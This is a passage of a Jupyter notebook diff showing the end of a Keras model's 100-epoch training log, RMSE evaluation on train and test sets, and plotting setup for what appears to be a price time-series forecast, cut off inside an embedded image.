6.9435e-04 - val_loss: 7.5161e-04\n", + "Epoch 29/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 6.4918e-04 - val_loss: 6.2244e-04\n", + "Epoch 30/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 6.5413e-04 - val_loss: 6.6394e-04\n", + "Epoch 31/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 6.2032e-04 - val_loss: 7.7170e-04\n", + "Epoch 32/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.0073e-04 - val_loss: 6.5895e-04\n", + "Epoch 33/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.1412e-04 - val_loss: 7.1648e-04\n", + "Epoch 34/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 6.4278e-04 - val_loss: 8.1730e-04\n", + "Epoch 35/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.3334e-04 - val_loss: 7.4530e-04\n", + "Epoch 36/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.9696e-04 - val_loss: 5.2569e-04\n", + "Epoch 37/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.9848e-04 - val_loss: 7.4405e-04\n", + "Epoch 38/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 5.6691e-04 - val_loss: 7.1230e-04\n", + "Epoch 39/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 5.9104e-04 - val_loss: 5.8031e-04\n", + "Epoch 40/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 6.1810e-04 - val_loss: 0.0011\n", + "Epoch 41/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 8.4489e-04 - val_loss: 0.0011\n", + "Epoch 42/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 5.9997e-04 - val_loss: 7.1650e-04\n", + "Epoch 43/100\n", + "23/23 [==============================] - 9s 392ms/step - loss: 5.1734e-04 - val_loss: 6.1136e-04\n", + "Epoch 44/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 5.1953e-04 - val_loss: 8.8279e-04\n", + "Epoch 45/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 5.0614e-04 - val_loss: 5.2441e-04\n", + "Epoch 46/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 6.2323e-04 - val_loss: 6.0129e-04\n", + "Epoch 47/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 4.9503e-04 - val_loss: 5.3799e-04\n", + "Epoch 48/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 5.1320e-04 - val_loss: 9.8089e-04\n", + "Epoch 49/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.7520e-04 - val_loss: 4.5969e-04\n", + "Epoch 50/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 5.4336e-04 - val_loss: 3.7923e-04\n", + "Epoch 51/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 5.2223e-04 - val_loss: 5.5541e-04\n", + "Epoch 52/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 4.5239e-04 - val_loss: 5.3168e-04\n", + "Epoch 53/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 4.1234e-04 - val_loss: 4.4867e-04\n", + "Epoch 54/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 4.5851e-04 - val_loss: 4.3598e-04\n", + "Epoch 55/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 3.9567e-04 - val_loss: 4.1849e-04\n", + "Epoch 56/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 4.0584e-04 - val_loss: 3.9328e-04\n", + "Epoch 57/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 4.6691e-04 - val_loss: 3.8304e-04\n", + "Epoch 58/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 3.7688e-04 - val_loss: 3.2941e-04\n", + "Epoch 59/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.4034e-04 - val_loss: 3.4825e-04\n", + "Epoch 60/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 4.1345e-04 - val_loss: 3.2722e-04\n", + "Epoch 61/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 3.6639e-04 - val_loss: 3.7511e-04\n", + "Epoch 62/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 3.4093e-04 - val_loss: 3.2881e-04\n", + "Epoch 63/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.5526e-04 - val_loss: 2.6734e-04\n", + "Epoch 64/100\n", + "23/23 [==============================] - 9s 392ms/step - loss: 3.0460e-04 - val_loss: 2.4265e-04\n", + "Epoch 65/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 3.1287e-04 - val_loss: 2.9213e-04\n", + "Epoch 66/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.8165e-04 - val_loss: 2.7066e-04\n", + "Epoch 67/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.6734e-04 - val_loss: 3.1631e-04\n", + "Epoch 68/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 3.1758e-04 - val_loss: 3.7048e-04\n", + "Epoch 69/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 3.3470e-04 - val_loss: 3.9684e-04\n", + "Epoch 70/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 3.3818e-04 - val_loss: 3.9463e-04\n", + "Epoch 71/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.5515e-04 - val_loss: 3.5135e-04\n", + "Epoch 72/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.5430e-04 - val_loss: 2.8446e-04\n", + "Epoch 73/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.4896e-04 - val_loss: 2.4481e-04\n", + "Epoch 74/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.3359e-04 - val_loss: 2.7386e-04\n", + "Epoch 75/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.5141e-04 - val_loss: 2.3066e-04\n", + "Epoch 76/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.2487e-04 - val_loss: 2.5273e-04\n", + "Epoch 77/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.4751e-04 - val_loss: 2.6052e-04\n", + "Epoch 78/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.3033e-04 - val_loss: 1.8945e-04\n", + "Epoch 79/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 2.4112e-04 - val_loss: 3.1777e-04\n", + "Epoch 80/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1832e-04 - val_loss: 2.6571e-04\n", + "Epoch 81/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.2783e-04 - val_loss: 1.8948e-04\n", + "Epoch 82/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.0704e-04 - val_loss: 2.4376e-04\n", + "Epoch 83/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.2896e-04 - val_loss: 3.7729e-04\n", + "Epoch 84/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 3.4487e-04 - val_loss: 2.0232e-04\n", + "Epoch 85/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.9182e-04 - val_loss: 1.9480e-04\n", + "Epoch 86/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.9702e-04 - val_loss: 2.8097e-04\n", + "Epoch 87/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 2.2748e-04 - val_loss: 2.3362e-04\n", + "Epoch 88/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.0465e-04 - val_loss: 2.0085e-04\n", + "Epoch 89/100\n", + "23/23 [==============================] - 8s 341ms/step - loss: 1.9722e-04 - val_loss: 1.9642e-04\n", + "Epoch 90/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 1.9766e-04 - val_loss: 1.9333e-04\n", + "Epoch 91/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 1.9490e-04 - val_loss: 2.2520e-04\n", + "Epoch 92/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.0187e-04 - val_loss: 1.6729e-04\n", + "Epoch 93/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.0843e-04 - val_loss: 1.7702e-04\n", + "Epoch 94/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 1.8616e-04 - val_loss: 1.8128e-04\n", + "Epoch 95/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 1.9246e-04 - val_loss: 1.5238e-04\n", + "Epoch 96/100\n", + "23/23 [==============================] - 8s 343ms/step - loss: 2.3721e-04 - val_loss: 1.7617e-04\n", + "Epoch 97/100\n", + "23/23 [==============================] - 8s 342ms/step - loss: 2.1132e-04 - val_loss: 2.3303e-04\n", + "Epoch 98/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1628e-04 - val_loss: 1.4220e-04\n", + "Epoch 99/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 2.1181e-04 - val_loss: 1.6404e-04\n", + "Epoch 100/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 1.7874e-04 - val_loss: 1.9049e-04\n" + ] + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 26, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "model.fit(x_train, y_train , validation_data = (x_test, y_test), epochs = 100, batch_size = 64, verbose=1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kC3fmcwLJtxi" + }, + "outputs": [], + "source": [ + "train_predict = model.predict(x_train)\n", + "test_predict = model.predict(x_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "hXBnc9drN3hm" + }, + "outputs": [], + "source": [ + "train_predict = scaler.inverse_transform(train_predict)\n", + "test_predict = scaler.inverse_transform(test_predict)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "QGvVJ77IN3k7", + "outputId": "225f22ed-1612-4a8a-ec88-288bf9c9d1cb" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "166.84477489414863" + ] + }, + "execution_count": 29, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "math.sqrt(mean_squared_error(y_train, train_predict))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IZpikvVgN3nS", + "outputId": "46eb1c74-6b46-472d-c870-3dee85fecc0c" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "108.2080512737556" + ] + }, + "execution_count": 30, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "math.sqrt(mean_squared_error(y_test, test_predict))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "th3TuyH1OO1r" + }, + "source": [ + "**Plotting the graph according to train and test data**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "8gMfUIfrN3pv" + }, + "outputs": [], + "source": [ + "look_back = 100\n", + "trainPredictPlot = np.empty_like(df_high)\n", + "trainPredictPlot[:,:] = np.nan\n", + "trainPredictPlot[look_back:len(train_predict) + look_back, :] = train_predict\n", + "\n", + "testPredictPlot = np.empty_like(df_high)\n", + "testPredictPlot[:,:] = np.nan\n", + "testPredictPlot[len(train_predict) + (look_back * 2)+1:len(df_high) - 1, :] = test_predict\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 426 + }, + "id": "CIDXmSMKOtmE", + "outputId": "8d048ce3-fff0-4d20-d8b5-4baf4d817279" + }, + "outputs": [ + { + "data": { + "image/png": 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